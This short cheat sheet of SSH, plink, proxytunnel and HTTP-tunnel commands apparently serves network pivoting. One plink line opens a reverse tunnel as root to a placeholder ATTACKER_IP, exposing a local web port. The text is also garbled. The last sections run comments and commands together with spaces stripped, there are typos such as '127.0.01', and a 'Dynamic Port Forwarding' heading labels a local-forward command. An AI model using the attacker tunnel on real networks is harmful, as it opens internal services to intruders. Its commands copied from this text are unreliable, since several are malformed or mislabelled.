ssh -L 6999:localhost:5901 user@192.168.1.3
user@192.168.1.3 = SSH host to connect to
-L = Option to enable local port forwarding
6999 = Port on the client PC
localhost = Host server to connect to (the remote PC, same as 127.0.0.1)
5901 = Port on the remote host (forwarded from the client PC)
Local port forwarding – A port from the client PC is forwarded to the remote PC. A connection to this port enables data to be sent bidirectionally over the SSH connection between the client and remote PC.
SSH: Dynamic Port Forwarding
# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER
SSH: Remote Port Forwarding
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
Proxy Tunnel
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;proxytunnel-pPROXY_HOST:3128-dDESTINATION_HOST:22-a5555sshuser@127.0.0.1-p5555
HTTP Tunnel: SSH Over HTTP
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22hts-Flocalhost:2280# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80htc-F8080192.168.1.15:80# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22sshlocalhost-p8080
